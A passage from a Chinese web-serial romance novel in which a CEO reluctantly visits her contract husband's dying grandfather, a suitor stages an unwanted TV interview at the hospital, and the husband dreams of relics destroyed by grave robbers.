见唐若涵满腔怒火,态度强硬至此,王静只能点头,“好的,唐总,我马上照办。” 唐若涵没再说什么,摆了摆手示意她离开。 很快。 办公室里面,只剩下了唐若涵一个人。 伸手抚了一下眉心,唐若涵疲惫地靠在椅子上。 并非她要求苛刻,而是眼下,闪创正在关键时刻。 跟徐氏传媒的合作更是至关重要,后续结果会直接影响到闪创的上市时间。 所以只能成功,不能有任何闪失。 偏偏现在市场不景气,必须要在原创的基础上加以创新,若一开始没有闪光点,后续绝对不会有所谓的逆转。 想到时间已经不多,唐若涵重新调整姿势,再次拿起面前的策划案。 刚翻几页。 办公室的门突然被推开。 唐若涵刚想发火,可看到面前的人,神情又是一怔。 周美珊身穿暗紫色旗袍,胳膊上挎着最新款的限量款徽章CF,正一脸笑意地看着她。 “妈,你怎么来了?” 唐若涵满是震惊,对于眼前出现的这个人颇感到意外。 自从自己接管公司以后,父母就已经很少来这边了。 今天刚跟父亲大吵一架,现在母亲突然出现,难道…… 脑海当中闪过几个念头,唐若涵的眉头又跟着皱起来。 这时。 周美珊已经走到办公桌前,一脸关切。 “小涵,可算看见你了,打了好几个电话,都是暂时无法接通,妈真担心你出什么事情。” “看到你没事,我也就放心了。” 唐若涵看看办公桌上的手机,有些不好意思。 “妈,手机没电了。” “还好是没电,你爸跟我说起今天的事情,我的心就一直悬着,还好你没事。” 提到今天的事,唐若涵心情瞬间一落千丈。 “如果你也是来劝我的,那就算了,我不会改变主意的!” 唐若涵态度生硬,根本没给周美珊商量的机会。 本以为。 还会像在唐家老宅一样大吵一架,可谁成想,她刚把话说完,周美珊竟然笑了起来。 第24章 明天,按计划进行! “傻孩子,还真生爸妈的气了?当真把我们当成外人了?” 周美珊声音轻柔,笑着把包放到办公桌上,“我过来的确找你有事,却不是你想的那一件。” 唐若涵疑惑,更加不明所以。 不是来做说客的?那是因为什么? 平日里,每个月财务部结算,他们都不会过来。 又不是因为吵架的事,那今天,难道还有更重要的事情? “我都站半天了,唐总都不说让我坐一会儿?你快过来,我有事情要跟你说。” 周美珊半开玩笑地催促着唐若涵。 这反倒让唐若涵不好意思继续绷着脸了。 “什么事啊?” 唐若涵刚一坐下便开始询问。 周美珊再次笑笑,但声音当中却多了一丝郑重。 “我要说的是关于林泽的事,林泽爷爷的事情你也知道,住院也都三年了,你都没有去医院看过他老人家吧?” “一开始的时候,你可以认为,刚跟林泽结婚,不好意思,可这么长时间了,你不露面,是不是有些不合适?” “唐家最注重颜面和声誉,你这样做,可是有些不妥。” 说话的时候,周美珊时不时地抬眸看向唐若涵。 此刻,她也相信。 自己这温婉的声音,唐若涵肯定不会严厉拒绝。 哪怕唐若涵真拒绝,她也不会发火。 今天过来的主要目的,不就是为了缓和气氛? 唐英豪扮演了严父的角色,自己就是那个慈母了。 而事实正如周美珊所料。 唐若涵虽然不情愿,情绪却不再像刚才那么激动。 “我觉得没有这个必要吧?三年的时间里我都没有去过,现在马上就要离婚了,去了反倒更加尴尬。” “话可不能这么说,正是因为这个,你更要露一下面,”周美珊把手搭在唐若涵的小手上,语重心长,“你现在长大了,考虑事情要周全一些,以后日子长着呢,总不能给人以把柄。” 唐若涵微微蹙眉,像是在思索什么。 周美珊则是重新打量起唐若涵来。 今天的唐若涵穿了职业装,头发也扎成马尾,浑身上下都透露着干练与果断。 这种气场让她这做母亲的都有些不敢直视。 偏偏,唐若涵的脸又十分精致,美得让人移不开眼睛。 看到自己细心培养的结果,周美珊心中一阵满足。 “怎么,还没有想通?” “我不想去,况且,林泽也没有说过让我去看他爷爷。” 唐若涵并不认为不去医院跟所谓的大局有什么冲突,所以坚持刚才的观点。 周美珊轻叹一口气。 “不是想要离婚吗,就算为了离婚顺利,也得把最后的套路做足了。” “唐家家大业大,多少双眼睛盯着,总不能让别人看笑话,我们唐家的女儿没教养。” “不过就是过去看看,又耽误不了你多长时间,是不是?” 周美珊的话给了唐若涵一种错觉。 那便是,去医院看林泽的爷爷,是离婚之前做的最后一件事情。 如此一想。 唐若涵也不像刚才那么排斥了,可还是有些不放心。 “妈,你是站在我这一边的是吧?如果你支持我的决定,我就按照你所说的去做。” 唐若涵一边说,一边直直地看向周美珊。 周美珊伸手,在唐若涵的鼻子上刮了一下,瞬间轻笑。 “你呀,多大的人了,还像小时候一样总是让妈妈站队,你是我身上掉下来的肉,我不站在你这一边,站在哪里?” 看着眼前的情形,唐若涵一阵恍惚。 仿佛真的回到了小时候。 可瞬间,唐若涵目光又变得平静。 自从三年前父母强迫她跟林泽结婚,他们的关系就变得不一样了。 就像现在。 即便周美珊笑盈盈地望着她,唐若涵依旧感觉不到亲近感。 缓缓站起身,唐若涵下颌微抬。 “好,明天一早,我去医院看林泽的爷爷。” 周美珊目光当中闪过一丝喜色,“那就好,小涵最懂事了,那我就不打扰你了,你继续忙吧,我先回去。” “我送你。” “不用,你忙你的。” 尽管周美珊坚持,可唐若涵还是把她送到了门口。 等到再次回到办公室,唐若涵的心情却再也无法平静。 同一时间。 周美珊已经坐到车上。 “怎么样?同意了吗?” 唐英豪神情严肃,声音急切。 周美珊冷笑,“当然会同意,我办事,你还不放心?” “你怎么说的,就那丫头那倔脾气,现在早就把我们当成敌人了,她能听你的?我不信!” 周美珊眼眸微眯,摸了一下食指上的鸽子蛋,“你别管我怎么说,明天,按计划进行!” …… 林泽从医院回来,已经是傍晚时分。 临进家门,手机里传出消息的提示音。 “今晚不回去吃饭。” 望着短短几个字,林泽心中一阵轻松。 唐若涵不回来吃饭,他就有更多的时间做自己的事情。 投简历,找工作,都是眼下最要紧的。 林泽甚至考虑着,最好是来一个无缝衔接,这样,他跟爷爷的生活也不至于太拮据。 至于那巨额医疗费,还得另外想办法。 打开电脑,林泽看了一遍邮箱,发现并没有恢复邮件,这让他心里升起一丝失落。 该不会,所有的简历投出去都是石沉大海了吧? 再等等,说不定,人事部还没有来得及回消息。 正想着,突然未读消息那边出现了一个小红点。 林泽一阵激动,当场点开邮件。 可邮件内容却如同一盆冷水,把林泽刚刚冒起的星星之火,浇的荡然无存。 感谢投放简历,但是,不符合该公司的招聘标准,祝能够在其他公司找到合适的岗位。 这些官方语言,真的比直接拒绝还要生硬。 …… 一直到晚上九点半,唐若涵这才回来。 “唐总,要不要吃些什么?” 林泽像往常一样询问。 唐若涵没说话,目光当中充满审视。 林泽纳闷,唐若涵这是怎么了,该不会是又跟吴庸发生什么不愉快,要在自己身上撒气吧? 不然,她的眼神怎么怪怪的? “唐总,您……” “没事,去忙你的吧,我这边没什么事情。” 收起目光当中的复杂,唐若涵甩下一句话,直接上楼。 林泽做好标签,合上书本也回了自己的房间。 通常情况下。 唐若涵这样讲,就表明接下来没有自己的事情了。 而唐若涵今天为什么没有回来吃饭?见了谁,又发生了什么事,这些都不是自己该问的。 不该听的别听,不该问的别问。 这是规矩。 简单洗漱过后,林泽躺在床上。 今天一天,发生的事情很多,时间安排得也很紧凑。 所以没过多久,林泽的眼皮便开始发沉。 随后进入梦乡。 雾霭朦胧中。 林泽再次来到那座阴森的……档案库! 第25章 疯婆娘,你找死! 门扇沉重,房间压抑。 空气当中,飘散着淡淡霉味。 林泽抬手拿出一份档案仔细阅读。 “登封窑白釉剔花执壶,北宋制品,高,23.1厘米,底径为8.5厘米,口径为10.2厘米。” “此壶胎为浅褐色,白釉光滑圆润,中泛青黄。” “壶颈肩部,刻有尖形莲瓣为边饰。” “腹部剔刻图案为,缠枝朵状牡丹纹络。” “作用于注酒或盛酒。” 林泽目光缓缓下移。 当看到首页状态栏,他瞳孔骤然收紧。 “已毁。” 简单两个字,却异常沉重。 手指触摸泛黄的纸张,林泽的意识也跟着改变。 片刻工夫过后。 林泽出现在一座村屋前。 周围杂草丛生,面前房屋已坍塌半边。 屋里,隐约有女人的声音传出。 “老头子,这么长时间了,东西也出不了手,不会砸到我们手里吧?” “开玩笑,这东西值钱的呢,只是咱们运气不好,遇到的都是不识货的,等哪天来个懂行的,一准能收走。” “要是来不了呢,剩下的活咱们怎么干?就守着这个破酒壶,非得饿死不可!” 女人语气当中透露着明显的埋怨。 很快。 男人接上话茬。 “胡说八道,哪天饿着你了?你他妈吃着花生豆喝了酒,还委屈你了?就让你过两天穷日子,逼逼赖赖个没完了!” 林泽缓缓往前走,传入耳中的声音也越来越响亮。 来到半塌的窗户前,逐渐看清说话的两个人。 女人个头不高,面相平常,肤色偏黑。 此刻。 她正望着盘子里的花生米,手里端着半杯白酒,却没有要喝下去的意思。 男人五大三粗,四方脸,小眼睛。 两个人中间隔了一个矮脚桌。 矮脚桌上,还有一层淡淡的灰。 两个人都没有说话,气氛有些紧张。 突然。 女人拍了一下大腿。 “啪!” 清脆的响声传来,林泽眼睛一亮。 女人大腿旁边,放着的,赫然是登封窑白釉剔花执壶! “这种苦日子,什么时候是个头?要我说,我就守着这东西,你该干什么干什么去,回头多弄几件回来,咱们也能歇一阵子。” “不行!” 男人一脸坚决,直接灭了女人的念想。 女人把酒杯放在桌上,脸色也跟着难看起来。 “行,嫁鸡随鸡,嫁狗随狗,嫁个刨坟的就会倒斗!听你的还不行吗!” “但是,今天,你说什么也得让我尝尝鲜!” “老娘要用这酒壶喝酒,你拦不住我!” 恨恨地说话的同时,女人当场把旁边的东西拿出来,直接从里面倒起了酒。 男人一下子急了,低吼道。 “疯婆娘,你找死,这他妈你都敢动!” “我就动,我憋得慌,这东西一天出不了手,我心里一天不自在!” “你再等等!” 两个人不断地争吵,窗外风吹过,破损的窗纸,发出悉悉簌簌的声响。 林泽手握成拳头,呼吸急促。 眼睛,死死地盯着面前的情形。 二人你争我抢,不断推搡。 “谁他妈也别喝!” “哗啦!”一声传出。 女人掀翻桌子! “不要!” 林泽迅速上前,想伸手接住登封窑白釉剔花执壶,可那提花执壶却穿过他的手掌,瞬间摔得很碎! 此刻。 林泽恨自己是个透明的存在。 那种无力感,压得他喘不过气! 而意识,也在这个时候清醒! 睁眼的同时,林泽也从床上坐起。 顾不得擦脑门上密密的汗珠,他大口喘着粗气。 脑海当中闪过的,依旧是刚才的画面。 登封窑白釉剔花执壶……就这么毁了? 这些文物,历经多少风雨才留存至今,却毁在那些盗墓贼的手里! 林泽手上青筋暴起,拳头久久不曾松开。 也不知道过了多长时间,他才缓缓平静下来。 以前在睡梦当中,他也遇到过像今天这样的情形。 看到那些已毁文物的时候,林泽多半都会直接从梦中惊醒。 而等到再次进入档案库时,之前翻开的那些档案,又会完好无损地放回到原处。 只是,那些毁掉的瑰宝,却再也回不来了。 抬眼看了一下时间。 现在才凌晨两点。 林泽深吸一口气,重新躺到床上休息。 次日清晨。 像往常一样,林泽早早地把饭菜准备好。 雪白瓷碗里,燕窝清透,几粒枸杞点缀其中,桂花蜜的香味已经飘散。 旁边青色圆碟当中,是林泽特意做的琥珀核桃糕。 此刻,已经切成了唐若涵喜欢的菱形。 水煮蛋也已经剥好。 一小盘虾仁,一杯牛奶放得整整齐齐。 唐若涵收拾完毕,直接坐到餐桌旁。 看到林泽站在旁边,先是一怔,随后看向对面的椅子。 “坐下,一起吃。” 说话时。 唐若涵脸上依旧疏离冰冷。 “谢谢唐总,我的饭菜马上就好。” 林泽客气的拒绝。 唐若涵放下牛奶杯,柳眉微蹙。 “跟我一块吃早饭,是不是非常不愿意?” “不是的,唐总……” “不是就坐下!” 不等林泽把话说完,唐若涵的声音已经变得凌厉。 林泽只好同意。 从厨房里端出清汤面,这才跟唐若涵面对面坐下来。 两个人都没有说话,屋子里的空气都透露着尴尬。 最后。 唐若涵首先开口。 “林泽,你爷爷在哪个医院住院?” 林泽一怔,“唐总,我爷爷在东海中西医结合医院。” “好,一会吃完饭,我们去看看他吧。” 唐若涵的话语轻描淡写。 说完,便收回目光。 林泽的手停在半空当中。 刚刚夹起的面条,也顺着筷子缝重新落回到碗里。 唐若涵要去看爷爷? 这是什么情况? 如果不是亲耳听到,林泽一定以为自己出了幻听。 缓过神来后,林泽迅速拒绝。 “唐总,您平日里工作非常忙,去医院的事情还是算了,就别耽误您的工作时间了。” 唐若涵伸手揉揉眉心。 “没事,也停留不了多久,就是去看看。” 随后。 唐若涵把到了嘴边的话又咽了下去。 你以为我愿意去? 如果不是父母逼得紧,我才不愿意走这个流程。 接下来。 两个人都没有说话。 唐若涵在离开别墅的时候才说了一句,“我会在上午十点半到达,你在医院那边等着。” “好的,唐总。” 林泽话音刚落,唐若涵的手机突然响起来。 看我手机屏幕上的备注,唐若涵的声音变得温和。 “吴庸,怎么这么早打电话过来了?有什么事吗?” 电话那端的吴庸说了什么,林泽并不知道。 可是,唐若涵脸上的神情已经缓和了很多,脚步也跟着轻松起来。 林泽跟在唐若涵的身后,将她送出门口。 在这期间。 唐若涵一直将手机贴在耳边。 第26章 唐若涵,破防了! 对于唐若涵的行为,林泽只感觉到奇怪,却并没有多想。 毕竟,不过问唐若涵的决定以及行踪,是唐若涵之前就规定好的。 三年当中,林泽一直严格遵守。 只是在出门的时候,林泽特意多看了几眼手机。 今天是初六,估计张军他们早已经部署好了。 沈家那边,应该也在东海火车站附近派了人手。 “两点以前,应该能出结果吧!” 林泽喃喃说出一句,这才朝医院的方向走去。 到达中西医结合医院的住院部,已经是上午九点十分。 林泽像往常一样见了周医生,接着便去病房照顾林振山。 今天。 爷爷的状态很不错。 看着他喝下去小半碗粥,林泽嘴角的笑容都没有停下来过。 “爷爷,明天我还给你熬这种粥,好不好?您再多吃点。” 林振山虚弱地点点头,声音干涩。 “好,只是……苦了你了。” “爷爷别说这样的话,你一定会好起来的,周医生说已经有了新的治疗方案,而且效果非常不错。” 为了安慰林振山,林泽特意说出国外用药的治疗结果。 “我这身体,熬不了多久了,我只盼着,早点离开,这样你也能,早点解脱。” 短短一句话说出来,林振山停顿了好几次。 林泽心中一片沉重。 “爷爷,不说这不吉利的话,一切都会好起来的。” 说到这,林泽突然话锋一转。 “爷爷,唐……”本来想说唐总,可为了不让爷爷多想,林泽又改口,“若涵今天有时间,她想过来看你。” 病床上。 林振山浑浊的眼睛里,突然升起一丝亮光。 “你的……媳妇,要过来?” “是啊,其实她一直想要过来,我都没有同意,我就怕打扰到您休息,这几天,你的恢复状态也不错,所以她今天想过来。” 林泽话音刚落。 林振山已经开始艰难的点头。 “好,爷爷很高兴,好。” 林泽心中泛起苦涩,瞬间升起的酸楚,让他眼眶泛红。 在这三年里,自己今天的这个消息,恐怕是爷爷最想听的吧! 虽然刚才说的那些并非完全是事实,可林泽相信,在爷爷的眼里,唐若涵就是自己嘴里所说的那样温婉善良。 接下来。 林泽又说了一些小时候的事情。 林振山也很有精神。 但大多数时候都是林泽在讲,偶尔林振山会点点头。 十点刚过。 林泽的手机突然响起来。 “我现在已经到了住院部大厅,你们在几楼?” 听筒里传来唐若涵的声音。 林泽急忙起身,“我这就下去接你。” 说着,林泽又看了看林振山,轻声嘱咐。 “爷爷,我去接若涵,一会儿就回来。” “好。” 林振山脸上再次露出笑意。 林泽则是匆匆出门。 挂断电话,唐若涵心中一阵疑惑。 刚才,她仿佛在电话里听到林泽称呼自己“若涵”,可唐若涵又不太确定。 毕竟,刚才只是急促的一声,就连唐若涵也不能断定自己是不是听错了。 看看手里的果篮,唐若涵又直了直身体。 刚要张望,林泽已经从电梯里走出来。 “唐总,这边。” 林泽话语当中充满客气,由于一路跑着,呼吸也有些急促。 唐若涵微微点头。 接着两人一块儿走进电梯。 经过住院部走廊,两个人瞬间引起了医护人员的注意。 咨询台那边值班的护士,眼睛都看直了。 甚至。 有几个小护士还当众窃窃私语起来。 “这个女孩子是谁,以前怎么从来没有见过?” “这你都不知道,这就是闪创影视传媒的总裁,唐家的千金大小姐唐若涵啊!” “天哪,这就是林泽的妻子?” 惊讶之余,几个小护士的目光都放在唐若涵身上。 可很快。 议论之声突然变了味道。 “今天太阳是打西边出来了吗,林泽的妻子竟然现身了,三年当中,这应该是头一次吧?” “还别说,作为孙媳妇,这可有点失职,林泽那么辛苦,每天都来医院照顾他爷爷,唐总裁怎么就像这事跟她无关一样?” “对对对,一次也不露面,说不过去,有钱人是不是都这么冷漠?” “哪里是冷漠,分明就是借着权势欺负人,可不管怎么说,她跟林泽都是夫妻,这样做太过分了。” 几个人说话的声音并不大。 可是唐若涵却听得清清楚楚。 柳眉微蹙后,唐若涵脸上一阵尴尬。 没想到。 在外人的眼里,自己竟是这种形象。 唐若涵轻咬嘴唇,心中五味杂陈。 “唐总,您别在意,这些小护士就喜欢开玩笑。” 为了缓解尴尬,林泽找了一个生硬的借口。 “没事。” 唐若涵加快脚步。 此刻,她的心里只有一个念头,那便是快点见到林泽的爷爷,快点结束这一场探访。 至于为什么会那么着急,唐若涵自己也说不清楚。 几分钟后。 二人来到病房。 看到病床上躺着的那个枯槁老人,唐若涵心中一紧。 他,就是林泽的爷爷? 他太瘦了! 头发花白,两颊深深地陷下去,整个人的精神状态很不好。 就连嘴唇,也都没有多少血色。 即便强撑着身体,仍给人一种随时都能离开的感觉。 不知不觉间。 唐若涵已经将眼前的老人跟这个爷爷对比起来。 同样是差不多的年纪。 可自己的爷爷精神矍铄,身体硬朗,说话声音洪亮。 甚至还每天早晨晨跑。 爷爷的状态跟林泽爷爷相比,简直是……天壤之别。 “若涵,你来了,快进来。” 看到一个漂亮的女孩子站在林泽身边,又正在往自己这边看,林振山便知道,这个就是林泽的妻子。 于是。 再次强打起精神打招呼。 唐若涵一怔,随即点头。 “好的,爷爷,”唐若涵一边打招呼,一边将果篮放到桌子上,“爷爷,其实,我早就该过来,只是公司那边一直忙得脱不开身。” 唐若涵轻柔的声音当中带了一丝歉意。 林振山摇头。 “我知道,小泽都跟我说了,你是个好孩子,有责任心,又努力,爷爷能理解。” 唐若涵彻底惊呆,眼底满是不可置信。 林泽。 他在爷爷面前,是这样形容自己的? 在这三年里,自己对他的态度冷漠疏离,他不光不怨恨自己,而且还帮着自己说话? “爷爷,是我做得不好,我应该早点过来的。” “别这么说,小泽说的没错,我的孙媳妇又漂亮,还能干,把……几千人的公司,打理的井井有条。” 说完这些,林振山停了一下,脸上的笑意却始终没有消失。 望着面前的老人,唐若涵突然有种想哭的冲动。 他跟爷爷一样,都那么善良和蔼。 如果有一天,爷爷要离开,自己得多难过? 这三年里,林泽每天面对这样的情形,也不知道他怎么坚持过来的。 再次开口。 唐若涵声音当中已经带了一丝哽咽。 “对不起。” “是爷爷对不起你们,爷爷拖累你们了。” 林振山的这句话说出来,唐若涵瞬间破防。 第27章 这里是医院,不是你们的摄影棚! 面前的老人形容枯槁,语气里是浓浓的不舍和愧疚。 唐若涵自认为理性,可林振山把话说完,她还是忍不住掉下眼泪。 或许是病房里的情形,又或许是林振山让她想到了自己的爷爷。 总之。 唐若涵的眼泪不停地顺着脸颊滑落。 “好孩子,别哭,爷爷给你们添麻烦了,如果没有我,你们能过得很好……” “爷爷,您别这么说,”唐若涵声音哽咽,“一家人不说这些话。” 林振山再次露出艰难的微笑。 “好,今天看到你,就算以后我走了,也能瞑目了,小泽,我就交给你了。” 唐若涵柳眉紧皱,不停地摇头。 “别说这样的话,一切都会好起来的,林泽,是不是?” 虽然外表坚强,可唐若涵最见不得的就是这些。 电视里头的那些生死别离片段,唐若涵都几乎直接跳过。 现在目睹这一幕,她只觉得心在不停地往下沉。 旁边。 林泽一脸茫然,缓过神后,这才接上话茬。 “对,爷爷您别担心,一切都会好起来的。” 唐若涵的现状让林泽不解。 三年里,林泽见过沉默的唐若涵,发火的唐若涵,却从未见过她这种模样。 声音温柔,眼眶微红。 任由泪水滴落。 说来看望爷爷,林泽已经感觉到奇怪,怎么还哭起来了? 结婚以后的一千多天里,唐若涵一直盼着离婚,这个时候,她应该迫不及待地跟自己划清关系才对? 怎么又来联络感情了? 重新看向唐若涵,林泽断定,眼前这一幕,她不是装出来的。 可正是因为如此,林泽更加不解。 林泽起身递给唐若涵一张纸巾。 唐若涵接过,小声的说了句,“谢谢!” 林泽还没开口说话,门口突然一阵脚步声传来。 紧接着,便是安然的平和声音。 “林泽,我们的治疗时间到了。” 林泽急忙点头,“好的,安医生,我们现在就出去。” 说完,林泽探身看向林振山。 “爷爷,我们在外边等,等治疗过后我们就回来。” 林振山没有说话,握住林泽的手,艰难地移动。 最终。 看到林泽的手放在唐若涵的手上,林振山脸上这才露出欣慰的笑容。 “走吧,你忙你们的吧。” 林泽心中酸涩,喉结动了好几下,“好,我听爷爷的。” 说完,林泽跟唐若涵相互看了一眼,两个人同时离开。 经过安然身边的时候,林泽特意点了点头。 安然微笑,目光在唐若涵身上多停了几秒。 “嘎达。” 病房的门关。 林泽的心也沉入谷底。 病房内的治疗,林泽没有亲眼见过,但是治疗过后,爷爷虚弱的样子,林泽却历历在目。 “这种治疗,每天都有吗?” 唐若涵首先开口打破寂静。 林泽摇摇头。 “这是新的治疗方案,具体情况还得看恢复状况。” 唐若涵柳眉紧蹙,没再说什么。 这时。 医院走廊突然变得热闹起来。 杂乱的脚步声,医护人员的斥责,几乎在同一时间传来。 两个人同时转头,顺着声音的方向望。 只见一群记者正朝他们这边奔过来。 记者身后,是摄影的相关人员。 林泽还没弄明白是怎么回事,拿着麦克风的记者便在他面前停下。 紧接着,摄影师等人也纷纷驻足。 眨眼的工夫,已经把林泽和唐若涵围成一团。 “你们是谁?这是要干什么?” 记者没有理会林泽,直接将麦克风举到唐若涵面前。 “唐小姐,我们是东海电视台杰出播报栏目的记者,今天过来,是想对唐小姐做一个专访。” 女记者说完,转头看了一下镜头,随后便迅速进入状态。 “众所周知,身为闪创影视传媒的总裁,唐小姐一直热衷于公益事业。” “前段时间,唐小姐还资助了不少贫困儿童,同时还向山区捐款。” “今天,唐小姐来东海中西医结合医院探望孤弱患者……” 女记者的话只说了一半,唐若涵突然抬手,声音严肃,“对不起,我不接受采访。” 女记者一愣,很快脸上表情又恢复如初。 对于唐若涵的拒绝,仿佛早已经有心理准备。 “唐小姐,外界传闻,唐小姐直非常低调,但是您的热心付出大家是有目共睹的。” 话音刚落,旁边的摄影师勾了勾手。 身旁的助理立刻走过来。 “赶紧补镜头,加个特写!” 林泽冷冷的看着眼前这一切,突然明白了什么。 突然通知他要来看望爷爷。 病房里的慰问,难过的表情,哽咽的声音,包括唐若涵的眼泪,估计都是彩排! 一切都是有计划的! 只有他还傻傻的认为,唐若涵是真心的来探望爷爷,甚至对于唐若涵的做法还感动不已。 可事实的真相,却是如此残酷! “够了,你们停下!这里是医院,不是你们的摄影棚!请你们马上离开!” 林泽手握成拳,脸上像淬了一层冰。 一干人等顿时愣住。 女记者更是歪着脑袋看向林泽,眉头都拧成一团了。 “你是谁,不要在这里捣乱,我们在做专访!” 林泽目光冰冷,语气当中满是厌恶。 “我再说最后一遍,马上离开!” 女记者看了一下跟过来的人,瞬间有了底气,连声音也跟着提高。 “这位先生,我们是东海电视台的,我们栏目的收视率稳居东海市榜首,希望您配合我们的工作。” 林泽咬咬牙,从喉咙挤出一句。 “我配合你祖宗!” “这位先生,你怎么骂人呢,我们这边可是全程录像,您的这种行为会给东海市抹黑,身为东海市市民……” 不等女记者把话说完,林泽转头看向唐若涵。 “唐总,请,带着你的人离开!” “林泽,我不知道是怎么回事,我也没有让这些人过来。” 面对眼下的情形,唐若涵一脸茫然,可还想要接着说什么,她突然愣住。 旁边。 林泽顺着唐若涵的目光看去。 楼梯拐角处。 吴庸正看向这边! 吴庸一身笔挺的西装,手捧着一大束鲜花,仿佛正等待合适的时机。 林泽冷笑。 唐若涵,这就是你说的,不知道是怎么回事? 还以为这是突如其来的一出,没想到,只有自己被蒙在鼓里! 如果按照正常流程来走,一切采访顺利,等到采访临近结束,吴庸会手捧着鲜花款款而来吧! 林泽指甲嵌入掌心,关节泛白。 三年的合约生活他可以忍,面对别人的冷嘲热讽,他也可以不在意。 可是! 这些人拿爷爷的病情做节目! 绝对不行! 第28章 破案了,凶手抓到了! 看清楚吴庸的那一刻,唐若涵似乎也明白了什么。 瞬间。 唐若涵声音冰冷,语气当中满是质问。 “吴庸,你怎么会在这里?” 感觉到唐若涵的情绪不对劲,吴庸迅速在脸上挤出笑容,同时,快步朝着唐若涵这边走过来。 “小涵,我是专门来等你的。” “这些人是怎么回事?” 虽然已经猜出大概,可唐若涵还是抱有一丝幻想。 或许这只是凑巧,万一这是个误会呢? 可吴庸给出来的回答,却让唐若涵无地自容。 在唐若涵面前停下脚步,吴庸伸手推了一下金边眼镜框,笑容依旧和煦。 “这是本市电视台最具权威的栏目,本来他们的档期已经满了,可是为了你,我还是让他们更改了采访顺序。” “小涵,我说过,三年以前我没有能力保护你,但是现在,我绝对能让你过上更好的生活。” “不用感激我,这些都是我应该做的。” 唐若涵深吸一口气,指节攥紧。 “你为什么没有经过我的同意?” “小涵,我想给你个惊喜。” 唐若涵语调提高,声音当中是遏制不住的恼火。 “够了,让他们马上走,我不需要你为我做任何事情!” 唐若涵思绪乱成一团。 来看林泽的爷爷之前,她是不情愿的。 可看到躺在病床上的老人以后,她心中又升起愧疚。 可吴庸搞的这一出,却把她逼向了无比尴尬的境地。 此刻。 唐若涵都不知道林泽会怎么看待她。 偏偏这个时候,吴庸依旧不依不饶。 “小涵,你别生气,如果我有哪里做得不好的地方,你可以告诉我,我一定会改的。” 唐若涵瞬间爆发。 “没听懂我说的话吗,我让你马上离开,跟你们这些人离开!” 唐若涵伸手指向周围的一群人。 吴庸直接蒙圈。 目光在林泽身上扫过后,竟然酸溜溜地问出一句,“小涵,因为他,你这是在跟我发脾气吗?” “你不走是不是,好,我走!” 甩出这一句,唐若涵头也不回地径直离开。 拿着话筒的女记者以及摄影人员全都蒙了。 这是什么状况? 被采访的对象都已经离开,他们还有必要继续留在这里吗? 女记者转头看向吴庸。 “吴先生,咱们这采访还做不做?这是要……换一个场景吗?” “换什么换,没看到人都走了吗!” 吴庸气急败坏,眼睛里几乎要喷出火来。 可还没找到发泄对象,一个小护士已经带着四五个保安跑过来。 隔着老远。 小护士就开始伸手指吴庸他们。 “就让他们,不管怎么说,他们也不听,一大群人在住院部喧哗,快点把他们弄走!” 保安听完,卯足了力气往前冲,眼睛死死地盯着一干人等。 “还站着干什么?赶紧跑!” “弄不好,设备都会被砸了!” “快跑!” 摄影师刚把话说完,便扛好摄像机,朝向另外一边,一阵猛冲。 看到这副情形,一块儿过来的相关人员也无法淡定。 几乎是眨眼的功夫,便不见了踪影。 唯独吴庸,依旧手捧着鲜花,愣在当场。 瞬间。 几个保安直接将吴庸包围。 …… 吴庸被保安带走。 整个医院的走廊又变得安静。 想起刚才的一幕,林泽依旧气愤不已。 缓缓坐到长椅上,憔悴的面孔愈发疲惫,整个人也如同木雕一般。 半个小时以后。 病房的门打开。 安然带着一些医护人员走出来。 经过林泽身边,安然突然停下,眉头也跟着皱了皱。 “林泽,怎么回事?你的脸色怎么这么难看?” 林泽勉强在脸上挤出一丝笑容。 “没事的,安医生,可能是有些累了。” 对于刚才发生的一切,林泽并没有提起。 此刻,他也在努力装作若无其事的样子。 安然目光复杂,到嘴边的话又改了口:“那你好好休息,别太累了,身体要紧。” “谢谢安医生,我去看看爷爷。” “好的,去吧!” 看着林泽离开,安然轻叹一口气。 林振山住院的这三年,所花费的医疗费并不是个小数目。 如果是寻常人家,估计这时早就已经放弃治疗了。 可林泽十分孝顺,一直在坚持。 偏偏林泽身上的病也不能再拖了。 刚才,安然想提醒林泽抓紧时间治疗,可想到周医生说,林振山剩下的医疗费,林泽都可能出不出来。 如果自己再说什么,岂不是雪上加霜? “心肠这么好的一个人,为什么要遭遇如此重的挫折?” 安然喃喃自语,脚步沉重地向前走去。 …… 病房里。 林泽一直守在病床边。 床上的爷爷又陷入了昏迷状态,什么时候醒过来,林泽也不确定。 可是,只要能够看到爷爷,林泽心中便会感到莫名的踏实。 好像只有这样,他才有坚持下去的动力。 时间不长。 唐若涵发来消息。 “中午不回去吃饭。” 看到消息内容,林泽简单地回了几个字,“好的,唐总。” 这种简洁的交流,几乎每隔几天就会发生。 只是最近这几天,在吴庸回来了以后,频率增加了而已。 回去的路上,望着熙熙攘攘的人群,林泽感觉好像只有自己漫无目的。 一直到回别墅,他的心情都是沉甸甸的。 唐若涵不回来,林泽简单地对付着吃了一些,接着便开始修剪院子里的绿植。 其实,这些活,并不在林泽的劳动范围之内。 唐家有固定的园艺师。 每隔一段时间,这些人都会来打理院子里的花草。 林泽之所以会在意那些,完全是因为那几株虎刺梅。 每次,虎刺梅倔强的花朵在风中摇摆,都会触碰林泽的记忆。 可这一次。 林泽刚刚给花浇完水,手机突然震动起来。 电话是张军打来的。 林泽刚一接通,电话那端便传来张军异常兴奋的声音! “老林,破案了!凶手抓住了!” 林泽放下喷壶,声音平淡。 “是吗,在哪里抓到的?火车站还是机场?” “火车站,跟你猜的一模一样!有一个胖子看到火车站在严查,当场就要掉头,我们就注意上他了!” 张军激动地讲着事情的经过。 “本以为,抓到一个也不错,还能顺藤摸瓜,没想到,沈家还给我们送过来一个人!” “那个结巴,是让沈家的人给抓到的!” “对了,我跟你讲,在此之前,他们还去沈家私人收藏馆了!” 说到这里。 张军狠狠地骂了一句。 “这帮人真他妈,不是东西!” 听到沈家的人也参与其中,并且还抓到其中一个,林泽微微松了一口气。 但愿沈平韵能如愿以偿。 “能抓到就好。” “对对对,这次多亏了你,我这边正在赶报告,回头有功夫了,好好请你搓一顿!” 林泽嗯了一声。 跟张军之间,不用拐弯抹角,他们两个人都是直脾气。 最近发生了太多的事情,也是得找个功夫坐一会儿了。 第29章 我又不是外人。 闪创影视传媒大厦。 总裁办公室。 午后。 阳光透过落地窗照射在地面,整个房间都是暖洋洋的。 平日里。 如果不回别墅吃饭,每到这个时候,唐若涵都会在休息区小憩一会儿。 可今天,唐若涵却睡意全无。 吴庸的电话打了无数个,唐若涵视若无睹。 指导秘书王静说,吴庸一直在楼下站了两个小时,唐若涵这才同意见面。 